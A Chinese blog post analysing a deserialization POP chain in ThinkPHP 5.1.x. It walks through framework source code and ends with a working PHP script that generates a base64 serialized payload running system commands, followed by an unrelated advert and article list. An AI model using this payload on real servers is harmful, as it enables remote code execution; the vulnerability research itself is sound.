ThinkPHP v5.1.x POP 鏈分析

来源:https://www.cnblogs.com/a609251438/archive/2019/11/10/11831735.html

環境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔術方法並巧妙構造特殊屬性調用一系列函數或類方法以執行某種敏感操作的調用堆棧反序列化常用魔法函數前言我所理解的 POP Chain:利用魔 ...


環境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔術方法並巧妙構造特殊屬性調用一系列函數或類方法以執行某種敏感操作的調用堆棧反序列化常用魔法函數


前言
我所理解的 POP Chain:
利用魔術方法並巧妙構造特殊屬性調用一系列函數或類方法以執行某種敏感操作的調用堆棧

反序列化常用魔法函數

  1.  1 __wakeup, unserialize() 執行前調用
     2 __destruct, 對銷毀的時候調用
     3 __toString, 類被當成字元串時的回應方法
     4 __construct(),當對象創建(new)時會自動調用,註意在
     5 unserialize()時並不會自動調用
     6 __sleep(),serialize()時會先被調用
     7 __call(),在對象中調用一個不可訪問方法時調用
     8 __callStatic(),用靜態方式中調用一個不可訪問方法時調用
     9 __get(),獲得一個類的成員變數時調用
    10 __set(),設置一個類的成員變數時調用
    11 __isset(),當對不可訪問屬性調用isset()或empty()時調用
    12 __unset(),當對不可訪問屬性調用unset()時被調用。
    13 __wakeup(),執行unserialize()時,先會調用這個函數
    14 __toString(),類被當成字元串時的回應方法
    15 __invoke(),調用函數的方式調用一個對象時的回應方法
    16 __set_state(),調用var_export()導出類時,此靜態方法會被調用。
    17 __clone(),當對象複製完成時調用
    18 __autoload(),嘗試載入未定義的類
    19 __debugInfo(),列印所需調試信息

     

 

phar 文件通過 phar:// 偽協議拓寬攻擊面 因為 phar 文件會以序列化的形式存儲用戶自定義的meta-data,所以在文件系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作,深入瞭解請至:https://paper.seebug.org/680/

如果對反序列化沒有瞭解的話建議先學習下相關內容ThinkPHP v5.1.x POP 鏈分析安裝這裡使用的是官方 ThinkPHP V5.1.38composer 部署composer create-project topthink/think=5.1.38 tp5.1.38利用鏈全局搜索函數 __destruct

來到 /thinkphp/library/think/process/pipes/Windows.php

  1.  1 public function __destruct()
     2     {
     3         $this->close();
     4         $this->removeFiles();
     5     }
     6     . . .  . . . 
     7     /**
     8      * 刪除臨時文件
     9      */
    10     private function removeFiles()
    11     {
    12         foreach ($this->files as $filename) {
    13             if (file_exists($filename)) {
    14                 @unlink($filename);
    15             }
    16         }
    17         $this->files = [];
    18     }

     

 

看下 file_exists 的描述f

  1. 1 ile_exists ( string $filename ) 
複製代碼

: bool如果傳入的 $filename 是個反序列化的對象,在被 file_exists 當作字元串處理的時候就會觸發其 __toString 方法(如果有的話)所以下麵就是找含 __toString 方法的類

來到 /thinkphp/library/think/model/concern/Conversion.php

  1. 1 public function toJson($options = JSON_UNESCAPED_UNICODE)
    2     {
    3         return json_encode($this->toArray(), $options);
    4     }
    5     . . .   . . . 
    6     public function __toString()
    7     {
    8         return $this->toJson();
    9     }

     

 

可以看到,在 toJson() 函數中又調用了 toArray() 函數如果 toArray() 函數中存在並使用某個可控變數的方法,那麼我們就可以利用這點去觸發其他類的 __call 方法下麵是 toArray() 函數的定義,$this->append 作為類屬性是可控的,所以 $relation 和 $name 也就可控了,於是 $relation->visible($name); 就成了這個 POP 鏈中的中間跳板

phper在進階的時候總會遇到一些問題和瓶頸,業務代碼寫多了沒有方向感,不知道該從那裡入手去提升,對此我整理了一些資料,包括但不限於:分散式架構、高可擴展、高性能、高併發、伺服器性能調優、TP6,laravel,YII2,Redis,Swoole、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階乾貨需要的可以免費分享給大家,需要的(點擊→)我的官方群677079770https://jq.qq.com/?_wv=1027&k=5BoEMVl

  1.  1 public function toArray()
     2 {
     3     $item       = [];
     4     $hasVisible = false;
     5     . . .   . . .
     6     // 追加屬性(必須定義獲取器)
     7     if (!empty($this->append)) {
     8         foreach ($this->append as $key => $name) {
     9             if (is_array($name)) {
    10                 // 追加關聯對象屬性
    11                 $relation = $this->getRelation($key);
    12                 if (!$relation) {
    13                     $relation = $this->getAttr($key);
    14                     if ($relation) {
    15                         $relation->visible($name);
    16                     }
    17                 }
    18                 $item[$key] = $relation ? $relation->append($name)->toArray() : [];
    19             } elseif (strpos($name, '.')) {
    20            . . .   . . .   
    21             } else {
    22                 $item[$name] = $this->getAttr($name, $item);
    23             }
    24         }
    25     }
    26     return $item;
    27 }

     

 

那我們在這裡應該傳入怎麼樣的值以及什麼數據呢,先看下 $relation 是如何處理得到的

跟進 getRelation,在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函數定義

  1.  1 trait RelationShip
     2 {
     3     . . .   . . . 
     4     /**
     5      * 獲取當前模型的關聯模型數據
     6      * @access public
     7      * @param  string $name 關聯方法名
     8      * @return mixed
     9      */
    10     public function getRelation($name = null)
    11     {
    12         if (is_null($name)) {
    13             return $this->relation;
    14         } elseif (array_key_exists($name, $this->relation)) {
    15             return $this->relation[$name];
    16         }
    17         return;
    18     }
    19     . . .   . . . 
    20 }

     

 

由於 getRelation 最終都會 return; 導致返回 NULL,所以 下麵的 if (!$relation) 一定成立所以直接跟進後面的 getAttr,在 /thinkphp/library/think/model/concern/Attribute.php 找到其定義

  1.  1 trait Attribute
     2 {
     3     . . .   . . .
     4     public function getData($name = null)
     5     {
     6         if (is_null($name)) {
     7             return $this->data;
     8         } elseif (array_key_exists($name, $this->data)) {
     9             return $this->data[$name];
    10         } elseif (array_key_exists($name, $this->relation)) {
    11             return $this->relation[$name];
    12         }
    13         throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    14     }
    15     . . .   . . . 
    16     public function getAttr($name, &$item = null)
    17     {
    18         try {
    19             $notFound = false;
    20             $value    = $this->getData($name);
    21         } catch (InvalidArgumentException $e) {
    22             $notFound = true;
    23             $value    = null;
    24         }
    25         . . .  . . . 
    26     }
    27 }

     

從 getAttr ---> getData 返回 data 數組中同名鍵值的元素值,即 $relation <---- $this->data[$name],我們需要的 $data 和 $append 分別位於 Attribute 和 Conversion,且兩者都是 trait 類型Trait 可以說是和 Class 相似,是 PHP 5.4.0 開始實現的一種代碼復用的方法,可以使用 use 載入

詳情可以看官方手冊 PHP: Trait - Manual

所以接下來是尋找一個同時使用了 Attribute 和 Conversion 的類

發現只有 /thinkphp/library/think/Model.php 滿足條件

  1. 1 abstract class Model implements \JsonSerializable, \ArrayAccess
    2 {
    3     use model\concern\Attribute;
    4     use model\concern\RelationShip;
    5     use model\concern\ModelEvent;
    6     use model\concern\TimeStamp;
    7     use model\concern\Conversion;
    8     . . .   . . .
    9 }

     

下麵就需要找到一個沒有 visible 方法卻有 __call 方法的類作為執行點找到 /thinkphp/library/think/Request.php 中的 Request 類

  1.  1 class Request
     2 {
     3     . . .   . . . 
     4     /**
     5      * 擴展方法
     6      * @var array
     7      */
     8     protected $hook = [];
     9     . . .   . . . 
    10     public function __call($method, $args)
    11     {
    12         if (array_key_exists($method, $this->hook)) {
    13             array_unshift($args, $this);
    14             return call_user_func_array($this->hook[$method], $args);
    15         }
    16         throw new Exception('method not exists:' . static::class . '->' . $method);
    17     }
    18     . . .   . . .
    19 }

     

這裡的回調參數來源於 $hook 數組,而且方法名和參數都是可控的,不過 array_unshift 函數會把若幹元素前置到數組的開頭

  1.  1  $queue = array("orange", "banana");
     2 array_unshift($queue, "apple", "raspberry");
     3 print_r($queue);
     4 ///
     5 Array
     6 (
     7     [0] => apple
     8     [1] => raspberry
     9     [2] => orange
    10     [3] => banana
    11 )

     

這樣的話明顯就很難執行命令了,因為參數數組的第一個元素始終是 $this,無法直接執行我們想要的命令, 需要其他某種對參數不是這麼敏感的函數作為一個新的執行點或者跳板Request 類中有一個 filterValue 函數具有過濾功能,尋找調用 filterValue 的地方以便控制 $value 和 $filters 好執行命令

  1.  1 private function filterValue(&$value, $key, $filters)
     2     {
     3         $default = array_pop($filters);
     4         foreach ($filters as $filter) {
     5             if (is_callable($filter)) {
     6                 // 調用函數或者方法過濾
     7                 $value = call_user_func($filter, $value);
     8             } elseif (is_scalar($value)) {
     9              . . .   . . .         
    10              }
    11         return $value;
    12     }

     

Request 類中的 input 函數由 array_walk_recursive 調用了 filterValue,但是參數仍不可控,再往上尋找調用點看看

  1.  1 public function input($data = [], $name = '', $default = null, $filter = '')
     2     {
     3         if (false === $name) {
     4             // 獲取原始數據
     5             return $data;
     6         }
     7         $name = (string) $name;
     8         if ('' != $name) {
     9             // 解析name
    10             if (strpos($name, '/')) {
    11                 list($name, $type) = explode('/', $name);
    12             }
    13             $data = $this->getData($data, $name);
    14             if (is_null($data)) {
    15                 return $default;
    16             }
    17             if (is_object($data)) {
    18                 return $data;
    19             }
    20         }
    21         // 解析過濾器
    22         $filter = $this->getFilter($filter, $default);
    23         if (is_array($data)) {
    24             array_walk_recursive($data, [$this, 'filterValue'], $filter);
    25             if (version_compare(PHP_VERSION, '7.1.0', '<')) {
    26                 // 恢復PHP版本低於 7.1 時 array_walk_recursive 中消耗的內部指針
    27                 $this->arrayReset($data);
    28             }
    29         } else {
    30             $this->filterValue($data, $name, $filter);
    31         }
    32         . . .   . . . 
    33         return $data;
    34     }

     

複製代碼

Request 類中的 param 函數調用了 input 函數,但同樣參數不可控,再往上尋找調用點

  1.  1 public function param($name = '', $default = null, $filter = '')
     2     {
     3         . . .   . . .
     4         if (true === $name) {
     5             // 獲取包含文件上傳信息的數組
     6             $file = $this->file();
     7             $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
     8             return $this->input($data, '', $default, $filter);
     9         }
    10         return $this->input($this->param, $name, $default, $filter);
    11     }

     

轉到 isAjax 函數的定義

  1.  1 public function isAjax($ajax = false)
     2     {
     3         $value  = $this->server('HTTP_X_REQUESTED_WITH');
     4         $result = 'xmlhttprequest' == strtolower($value) ? true : false;
     5         if (true === $ajax) {
     6             return $result;
     7         }
     8         $result           = $this->param($this->config['var_ajax']) ? true : $result;
     9         $this->mergeParam = false;
    10         return $result;
    11     }

     

這裡 $ajax 參數沒有對類型的限制,而且 param 的參數來自 $this->config,是可控的,param 在最後所調用的 input 函數的 $this->param, $name 就都可控跟進 get 和 route 函數不難發現 $this->param 的值來自 GET 請求

  1. 1 // 當前請求參數和URL地址中的參數合併
    2 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    3 /*
    4 http://127.0.0.1:9000/public/?test=pwd
    5 $this->param = array("test"=>"pwd")
    6 */

     

那麼回到 input 函數看處理流程

首先 $this->getData($data, $name) 得到 $data,跟進分析,返回 $data 為 $data[$val] 的值,即 $data[$name]

  1.  1 protected function getData(array $data, $name)
     2     {
     3         foreach (explode('.', $name) as $val) {
     4             if (isset($data[$val])) {
     5                 $data = $data[$val];
     6             } else {
     7                 return;
     8             }
     9         }
    10         return $data;
    11     }

     

回到 input,接著處理 $filter = $this->getFilter($filter, $default);getFilter 的兩個參數分別為 '' 和 null 且都不可控,但是跟進不難看出最後返回 $filter 的值就是 $this->filter,雖然後面 $filter[] = $default; 會給 filter 數組追加個值為 null 的元素,但後面 filterValue 中的 array_pop 函數正好給去掉了

  1.  1 protected function getFilter($filter, $default)
     2     {
     3         if (is_null($filter)) {
     4             $filter = [];
     5         } else {
     6             $filter = $filter ?: $this->filter;
     7             if (is_string($filter) && false === strpos($filter, '/')) {
     8                 $filter = explode(',', $filter);
     9             } else {
    10                 $filter = (array) $filter;
    11             }
    12         }
    13         $filter[] = $default;
    14         return $filter;
    15     }

     

這樣就得到一條可控變數的函數調用鏈,最後執行命令

下麵簡單梳理下流程 通過 Windows 類 __destruct() 方法調用到 file_exists 觸發某類的 __toString() 來到 toArray() 函數 通過控制分別位於 Attribute 和 Conversion 的 $data 和 $append 變數執行在 Request 中不存在的 visible 函數進而觸發其 __call() 在 Request 通過控制 $hook $filter $config 三個變數的值註入最終的 callback 名稱和參數,再經這麼一系列函數調用執行命令

  1. 1 __call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()

     

構造 Payload

由於 Model 類是 abstract 類型,無法實例化,而extends Model 的也只有一個 Pivot 類,所以就用它吧

  1.  1 <?php
     2 namespace think;
     3 abstract class Model
     4 {
     5     protected $append = [];
     6     private $data = [];
     7     function __construct(){
     8         $this->append = ["a"=>[""]];
     9         $this->data = ["a"=>new Request()];
    10     }
    11 }
    12 namespace think\model;
    13 use think\Model;
    14 class Pivot extends Model
    15 {
    16 }
    17 namespace think\process\pipes;
    18 use think\model\Pivot;
    19 class Windows
    20 {
    21     private $files = [];
    22     public function __construct()
    23     {
    24         $this->files = [new Pivot()];
    25     }
    26 }
    27 namespace think;
    28 class Request
    29 {
    30     protected $hook = [];
    31     protected $filter = "system";
    32     protected $config = [
    33         // 表單請求類型偽裝變數
    34         'var_method'       => '_method',
    35         // 表單ajax偽裝變數
    36         'var_ajax'         => '_ajax',
    37         // 表單pjax偽裝變數
    38         'var_pjax'         => '_pjax',
    39         // PATHINFO變數名 用於相容模式
    40         'var_pathinfo'     => 's',
    41         // 相容PATH_INFO獲取
    42         'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
    43         // 預設全局過濾方法 用逗號分隔多個
    44         'default_filter'   => '',
    45         // 功能變數名稱根,如thinkphp.cn
    46         'url_domain_root'  => '',
    47         // HTTPS代理標識
    48         'https_agent_name' => '',
    49         // IP代理獲取標識
    50         'http_agent_ip'    => 'HTTP_X_REAL_IP',
    51         // URL偽靜態尾碼
    52         'url_html_suffix'  => 'html',
    53     ];
    54     function __construct(){
    55         $this->filter = "system";
    56         $this->config = ["var_ajax"=>''];
    57         $this->hook = ["visible"=>[$this,"isAjax"]];
    58     }
    59 }
    60 use think\process\pipes\Windows;
    61 echo base64_encode(serialize(new Windows()));

     

自己先構造一個利用點反序列化我們的內容,生成好 payload,GET 傳入要執行的命令,命令別忘了 urlencode

查看調用堆棧


您的分享是我們最大的動力!

更多相關文章
  • 垃圾收集GC(Garbage Collection)是Java語言的核心技術之一, 在Java中,程式員不需要去關心記憶體動態分配和垃圾回收的問題,這一切都交給了JVM來處理。 一. jvm的記憶體結構 垃圾回收都是基於記憶體去回收的,因此,先要對記憶體結構有一個大概的瞭解 Java記憶體運行時區域大概分了三 ...
  • 背景 之前做的海量數據數據展示,在預處理速度和線上渲染上還有有所欠缺,本文中進行一些優化工作,使得九分鐘處理完一千多萬面數據的3 12級矢量切片,線上瀏覽數據請求時間控制在10s左右。 準備 軟體環境:PostGIS(3.0.0rc2 r17909)和 PostgreSQL( 12.0, compi ...
  • Eclipse部署多模塊項目到tomcat,啟動時找不到jar的解決方法。 ...
  • 在使用redis時,一般會設置一個過期時間,當然也有不設置過期時間的,也就是永久不過期。當設置了過期時間,redis是如何判斷是否過期,以及根據什麼策略來進行刪除的。 設置過期時間 expire key time(以秒為單位) 這是最常用的方式setex(String key, int second ...
  • scp是secure copy的簡寫,用於在Linux下進行遠程拷貝文件的命令,和它類似的命令有cp,不過cp只是在本機進行拷貝不能跨伺服器,而且scp傳輸是加密的。可能會稍微影響一下速度。當你伺服器硬碟變為只讀 read only system時,用scp可以幫你把文件移出來。另外,scp還非常不 ...
  • 你可能想創建一個在應用的任何地方都可以訪問的函數,這個教程將幫你實現 👏 很多教程都會說,你在 composer.json 這個文件中通過添加一個自動載入的文件,就可以實現這個需求。但我認為這不是一個好的方式,當你在 helpers.php 文件中添加了更多的函數時,可讀性將變得很差。 下麵我將介 ...
  • 在說正題之前先解釋一下交換機模式是個籠統的稱呼,它不是一個單獨的模式(包括了訂閱模式,路由模式和主題模式),交換機模式是一個比較常用的模式,主要是為了實現數據的同步。 首先,說一下訂閱模式,就和字面上的意思差不多主要就是一個生產者,多個消費者,同一個消息被多個消費者獲取,先看一下官網的圖示 整體執行 ...
  • 當創建隊列jobs、監聽器或訂閱伺服器以推送到隊列中時,您可能會開始認為,一旦分派,隊列工作器決定如何處理您的邏輯就完全由您自己決定了。 嗯……並不是說你不能從作業內部與隊列工作器交互,但是通常情況下,哪怕你做了,也是沒必要的。 這個神奇的騷操作的出現是因為“InteractsWithQueue”這 ...
一周排行
  • 在園子裡面有很多關於各種技術細節的研究文章,都是比較牛逼的框架研究;但是一直沒有看到關於怎麼樣提高開發效率的文章,大多提高開發效率的文章都是關於自動化等方面的輔助工具類型的,而不是開發中的一些小技巧;今天從編碼規範、編碼技巧、開發思想、設計模式等各方面的經驗來分享如何提高開發效率。 ...
  • 前言 隨著近些年微服務的流行,有越來越多的開發者和團隊所採納和使用,它的確提供了很多的優勢也解決了很多的問題,但是我們也知道也並不是銀彈,提供優勢的同時它也給我們的開發人員和團隊也帶來了很多的挑戰。 為了迎接或者採用這些新技術,開發團隊需要更加註重一些流程或工具的使用,這樣才能更好的適應這些新技術所 ...
  • 本文是本系列的完結篇。本系列前面的文章: 邏輯式編程語言極簡實現(使用C#) - 1. 邏輯式編程語言介紹 邏輯式編程語言極簡實現(使用C#) - 2. 一道邏輯題:誰是凶手 邏輯式編程語言極簡實現(使用C#) - 3. 運行原理 下午,吃飽飯的老明和小皮,各拿著一杯剛買的咖啡回到會議室,開始了邏輯 ...
  • 微服務之間的通信之gRPC 介紹 gRPC是一種與語言無關的高性能遠程過程調用 (RPC) 框架,gRPC是Google發佈的基於HTTP 2.0傳輸層協議承載的高性能開源軟體框架,提供了支持多種編程語言的、對網路設備進行配置和納管的方法。由於是開源框架,通信的雙方可以進行二次開發,所以客戶端和服務 ...
  • 一、TLS 線程本地存儲(Thread Local Storage),字面意思就是專屬某個線程的存儲空間。變數大體上分為全局變數和局部變數,一個進程中的所有線程共用地址空間,這個地址空間被劃分為幾個固有的區域,比如堆棧區,全局變數區等,全局變數存儲在全局變數區,虛擬地址固定;局部變數存儲在堆棧區,虛... ...
  • private:私有成員,在類的內部才可以訪問。 protected:保護成員,該類內部和繼承類中可以訪問。 public:公共成員,完全公開,沒有訪問限制。 internal:當前程式集內可以訪問。 ...
  • 前言 上一篇【.Net Core微服務入門全紀錄(六)——EventBus-事件匯流排】中使用CAP完成了一個簡單的Eventbus,實現了服務之間的解耦和非同步調用,並且做到數據的最終一致性。這一篇將使用IdentityServer4來搭建一個鑒權中心,來完成授權認證相關的功能。 IdentitySe ...
  • using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System. ...
  • 從今天起,我將製作一個電影推薦項目,在此寫下博客,記錄每天的成果。 其實,從我發佈 C# 爬取貓眼電影數據 這篇博客後, 我就已經開始製作電影推薦項目了,今天寫下這篇博客,也是因為項目進度已經完成50%了,我就想在這一階段停一下,回顧之前學到的知識。 一、主要為手機端 考慮到項目要有實用性,我選擇了 ...
  • 一、實現Runnable介面 public class RunnableDemo implements Runnable { public void run() { try { Thread.sleep(100); } catch (InterruptedException e) { e.print ...